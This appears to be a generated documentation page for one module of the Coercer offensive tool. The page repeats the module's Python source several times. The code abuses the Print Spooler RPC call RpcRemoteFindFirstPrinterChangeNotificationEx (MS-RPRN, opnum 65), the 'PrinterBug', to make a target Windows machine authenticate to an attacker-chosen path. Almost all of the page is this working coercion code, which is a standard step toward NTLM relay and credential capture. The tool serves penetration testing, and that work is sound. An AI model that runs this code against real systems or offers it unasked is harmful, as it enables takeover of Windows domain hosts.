coercer.methods.MS_RPRN.RpcRemoteFindFirstPrinterChangeNotificationEx

View Source

 1#!/usr/bin/env python3
 2# -*- coding: utf-8 -*-
 3# File name          : RpcRemoteFindFirstPrinterChangeNotificationEx.py
 4# Author             : Podalirius (@podalirius_)
 5# Date created       : 15 Sep 2022
 6
 7from coercer.models.MSPROTOCOLRPCCALL import MSPROTOCOLRPCCALL
 8from coercer.network.DCERPCSessionError import DCERPCSessionError
 9from impacket.dcerpc.v5 import rprn
10from impacket.dcerpc.v5.dtypes import NULL
11
12
13class RpcRemoteFindFirstPrinterChangeNotificationEx(MSPROTOCOLRPCCALL):
14    """
15    Coercing a machine to authenticate using function RpcRemoteFindFirstPrinterChangeNotificationEx (opnum 65) of [MS-RPRN]: Print System Remote Protocol (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d)
16
17    Method found by:
18     -
19    """
20
21    access = {
22        "ncan_np": [
23            {
24                "namedpipe": r"\PIPE\spoolss",
25                "uuid": "12345678-1234-abcd-ef00-0123456789ab",
26                "version": "1.0"
27            }
28        ]
29    }
30
31    protocol = {
32        "longname": "[MS-RPRN]: Print System Remote Protocol",
33        "shortname": "MS-RPRN"
34    }
35
36    function = {
37        "name": "RpcRemoteFindFirstPrinterChangeNotificationEx",
38        "opnum": 65,
39        "vulnerable_arguments": ["pszLocalMachine"]
40    }
41
42    def trigger(self, dcerpc_session, target):
43        if dcerpc_session is not None:
44            try:
45                resp = rprn.hRpcOpenPrinter(dcerpc_session, '\\\\%s\x00' % target)
46                request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
47                request['hPrinter'] = resp['pHandle']
48                request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
49                request['pszLocalMachine'] = self.path
50                request['pOptions'] = NULL
51                resp = dcerpc_session.request(request)
52                return ""
53            except Exception as err:
54                return err
55        else:
56            print("[!] Error: dce is None, you must call connect() first.")
57            return None

class RpcRemoteFindFirstPrinterChangeNotificationEx(coercer.models.MSPROTOCOLRPCCALL.MSPROTOCOLRPCCALL): View Source

14class RpcRemoteFindFirstPrinterChangeNotificationEx(MSPROTOCOLRPCCALL):
15    """
16    Coercing a machine to authenticate using function RpcRemoteFindFirstPrinterChangeNotificationEx (opnum 65) of [MS-RPRN]: Print System Remote Protocol (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d)
17
18    Method found by:
19     -
20    """
21
22    access = {
23        "ncan_np": [
24            {
25                "namedpipe": r"\PIPE\spoolss",
26                "uuid": "12345678-1234-abcd-ef00-0123456789ab",
27                "version": "1.0"
28            }
29        ]
30    }
31
32    protocol = {
33        "longname": "[MS-RPRN]: Print System Remote Protocol",
34        "shortname": "MS-RPRN"
35    }
36
37    function = {
38        "name": "RpcRemoteFindFirstPrinterChangeNotificationEx",
39        "opnum": 65,
40        "vulnerable_arguments": ["pszLocalMachine"]
41    }
42
43    def trigger(self, dcerpc_session, target):
44        if dcerpc_session is not None:
45            try:
46                resp = rprn.hRpcOpenPrinter(dcerpc_session, '\\\\%s\x00' % target)
47                request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
48                request['hPrinter'] = resp['pHandle']
49                request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
50                request['pszLocalMachine'] = self.path
51                request['pOptions'] = NULL
52                resp = dcerpc_session.request(request)
53                return ""
54            except Exception as err:
55                return err
56        else:
57            print("[!] Error: dce is None, you must call connect() first.")
58            return None

Coercing a machine to authenticate using function RpcRemoteFindFirstPrinterChangeNotificationEx (opnum 65) of [MS-RPRN]: Print System Remote Protocol (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d)

Method found by: -

def trigger(self, dcerpc_session, target): View Source

43    def trigger(self, dcerpc_session, target):
44        if dcerpc_session is not None:
45            try:
46                resp = rprn.hRpcOpenPrinter(dcerpc_session, '\\\\%s\x00' % target)
47                request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
48                request['hPrinter'] = resp['pHandle']
49                request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
50                request['pszLocalMachine'] = self.path
51                request['pOptions'] = NULL
52                resp = dcerpc_session.request(request)
53                return ""
54            except Exception as err:
55                return err
56        else:
57            print("[!] Error: dce is None, you must call connect() first.")
58            return None

Inherited Members

coercer.models.MSPROTOCOLRPCCALL.MSPROTOCOLRPCCALL: MSPROTOCOLRPCCALL; method_type; generate_exploit_templates